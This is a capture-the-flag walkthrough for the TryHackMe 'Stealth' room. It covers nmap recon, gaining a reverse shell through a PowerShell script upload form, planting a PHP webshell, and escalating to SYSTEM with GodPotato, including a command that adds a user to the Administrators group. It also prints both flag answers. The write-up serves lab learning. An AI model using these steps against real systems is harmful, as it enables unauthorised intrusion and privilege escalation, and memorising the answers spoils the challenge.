> For the complete documentation index, see [llms.txt](https://bunring.gitbook.io/ctf-writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://bunring.gitbook.io/ctf-writeups/try-hack-me/2024/stealth.md).

# Stealth

{% embed url="<https://tryhackme.com/room/stealth>" %}

## Recon

{% code overflow="wrap" %}

```
┌──(kali㉿kali)-[~]
└─$ nmap -T4 --min-rate 1000 -sC -sV -p- -Pn stealth.thm            
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-04 03:07 EST
Nmap scan report for stealth.thm (10.10.19.123)
Host is up (0.15s latency).
Not shown: 65525 filtered tcp ports (no-response)
PORT      STATE SERVICE       VERSION
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info: 
|   Target_Name: HOSTEVASION
|   NetBIOS_Domain_Name: HOSTEVASION
|   NetBIOS_Computer_Name: HOSTEVASION
|   DNS_Domain_Name: HostEvasion
|   DNS_Computer_Name: HostEvasion
|   Product_Version: 10.0.17763
|_  System_Time: 2024-01-04T08:13:43+00:00
| ssl-cert: Subject: commonName=HostEvasion
| Not valid before: 2024-01-03T07:32:29
|_Not valid after:  2024-07-04T07:32:29
|_ssl-date: 2024-01-04T08:14:23+00:00; 0s from scanner time.
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
8000/tcp  open  http          PHP cli server 5.5 or later
|_http-title: 404 Not Found
8080/tcp  open  http          Apache httpd 2.4.56 ((Win64) OpenSSL/1.1.1t PHP/8.0.28)
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
|_http-server-header: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.0.28
|_http-title: PowerShell Script Analyser
8443/tcp  open  ssl/http      Apache httpd 2.4.56 (OpenSSL/1.1.1t PHP/8.0.28)
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2009-11-10T23:48:47
|_Not valid after:  2019-11-08T23:48:47
|_ssl-date: TLS randomness does not represent time
|_http-server-header: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.0.28
|_http-title: PowerShell Script Analyser
| tls-alpn: 
|_  http/1.1
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: www.example.com; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2024-01-04T08:13:44
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 430.88 seconds
```

{% endcode %}

Upon visiting the page on port 8080 we get a file upload form. It states that it is a PoweShell Script Analyser along with some details on what files we can upload.&#x20;

<figure><img src="/files/sqQFswKAjf6cnxCh4b4g" alt=""><figcaption></figcaption></figure>

## Initial Access

Let's try to get a reverse shell with this if possible.&#x20;

I found this reverse shell scrip to work. Make sure to change the IP address and Port number.

Setup a listener on the specified port.&#x20;

{% @github-files/github-code-block url="<https://github.com/martinsohn/PowerShell-reverse-shell/blob/main/powershell-reverse-shell.ps1?source=post_page-----aa684e97575a-------------------------------->" %}

<figure><img src="/files/zxip3KEytAStbayBjDmO" alt=""><figcaption></figcaption></figure>

We have a reverse shell.&#x20;

<figure><img src="/files/bKFlwqoHTeSyiqcPLtb2" alt=""><figcaption></figcaption></figure>

We have something callled encodedflag on the desktop. It looks to be base64 encoded. We can decode it and see what it gives us.&#x20;

<figure><img src="/files/FU0wHr7gPIHO3PGNp0UK" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```
┌──(kali㉿kali)-[~]
└─$ echo "WW91IGNhbiBnZXQgdGhlIGZsYWcgYnkgdmlzaXRpbmcgdGhlIGxpbmsgaHR0cDov                                                
LzxJUF9PRl9USElTX1BDPjo4MDAwL2FzZGFzZGFkYXNkamFramRuc2Rmc2Rmcy5w
aHA=" | base64 -d
You can get the flag by visiting the link http://<IP_OF_THIS_PC>:8000/asdasdadasdjakjdnsdfsdfs.php 
```

{% endcode %}

Decoding it gives us a link for the flag.&#x20;

<figure><img src="/files/JnzEd0L7l8Bh5S2MFf8M" alt=""><figcaption></figcaption></figure>

Unfortunately no flag yet. It tells us that there is a log file present.  Upon further inspection

{% code fullWidth="false" %}

```
SHELL> dir


    Directory: C:\Users\evader\documents\task


Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
-a----         9/4/2023   2:13 PM           3114 file.ps1                                                              
-a----        8/29/2023   3:06 PM             71 log.txt                                                               


SHELL> cat file.ps1
$FolderPath = "C:\xampp\htdocs\uploads\"

$FileDictionary = @{}

# Populate the initial state of the dictionary with file names and timestamps
$Files = Get-ChildItem -Path $FolderPath
foreach ($file in $Files) {
    $FileDictionary[$file.Name] = $file.LastWriteTime
}

# Watch for changes in the directory
while ($true) {
.
.
.

                                         # Check if the file is executable, a PowerShell script, or a pdf document
            $extension = $file.Extension.ToLower()
            if ($extension -eq ".ps1") {
                                $scriptPath = "C:\xampp\htdocs\uploads\$($file.Name)"
 .
 .
 .
                                $scriptPath = "C:\xampp\htdocs\uploads\$($file.Name)"


SHELL> dir


    Directory: C:\Users\evader\documents\task


Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
-a----         9/4/2023   2:13 PM           3114 file.ps1                                                              
-a----        8/29/2023   3:06 PM             71 log.txt                                                               


SHELL> cat log.txt
File log.txt has been modified.
File vulnerable.ps1 has been modified.
SHELL> 

```

{% endcode %}

From the contents of `file.ps1`located in`C:\Users\evader\Documents\Task` folder indicates that there is a log file present in the `C:\xampp\htdocs\uploads`

<figure><img src="/files/Z42E0OQDrkLFMirQqg8m" alt=""><figcaption></figcaption></figure>

Remove the log.txt file and accessing the earlier link gives us the first flag.

<figure><img src="/files/Pkn2xAKXbyFHm8NwkOQR" alt=""><figcaption></figcaption></figure>

## Privilege Escalation

After some research and trial and error. Payload all the things github led me to another repository with privilege escalation.&#x20;

{% @github-files/github-code-block url="<https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md>" %}

{% embed url="<https://github.com/itm4n/PrivescCheck>" %}

We can use this to check for ways to get privilege escalation. Setup a python server and upload the file.

<figure><img src="/files/uqzINtDxqz2IKlw5YOKz" alt=""><figcaption></figcaption></figure>

Following the instructions from the Github

{% code overflow="wrap" %}

```powershell
powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck"
```

{% endcode %}

We can see xampp has high vulnerability and it is run by `evader` user. Which we have access to via reverse shell. &#x20;

<figure><img src="/files/yJsaBuse2FHUAE0CLCEo" alt=""><figcaption></figcaption></figure>

We can try a simple php webshell and access it via the browser to check for more info.&#x20;

{% embed url="<https://gist.github.com/sente/4dbb2b7bdda2647ba80b>" %}

<figure><img src="/files/kfGunYLsJn8GJXhjbQvX" alt=""><figcaption></figcaption></figure>

We have made our shell now we need to access it via the browser. &#x20;

<figure><img src="/files/HyTKdQP9Iz3YNlXVvUSn" alt=""><figcaption></figcaption></figure>

As you can see this gives us more info.&#x20;

The user has `SeImpersonatePrivilege` enabled this can be used to gain privilege escalation. We can use GodPotato for privilege escalation.

{% embed url="<https://github.com/BeichenDream/GodPotato?tab=readme-ov-file>" %}

After uploading the file to `C:\xampp\htdocs` we use the program's built-in Clsid for privilege escalation and execute a simple command. (Here the output file is `potato.exe`)

```
potato.exe+ -cmd "cmd /c whoami"
```

<figure><img src="/files/hiGl9TjMjz62a3lb0DB5" alt=""><figcaption></figcaption></figure>

This shows that we are root (NT AUTHORITY\SYSTEM).&#x20;

We can just replace the `whoami` command with `dir C:\Users\Administrator\Desktop` check for flag on the desktop of the administrator.&#x20;

<figure><img src="/files/zc346gIuFluIusmSFRXn" alt=""><figcaption></figcaption></figure>

We have found a flag here. We can just use type `C:\Users\Administrator\Desktop\flag.txt` to display the flag.

<figure><img src="/files/knkEwPxz0hYbpkK1LQRB" alt=""><figcaption></figcaption></figure>

We can also add the user to the Administrators group and login via RDP and access the flag. This can be done with the following command.

```powershell
net localgroup administrators <#username#> <#password#> /add
```

{% code overflow="wrap" %}

```
potato.exe+ -cmd "cmd /c net localgroup administrators <#username#> <#password#> /add"
```

{% endcode %}

```
What is the content of the user level flag?
THM{1010_EVASION_LOCAL_USER} 
```

```
What is the content of the root level flag?
THM{101011_ADMIN_ACCESS}
```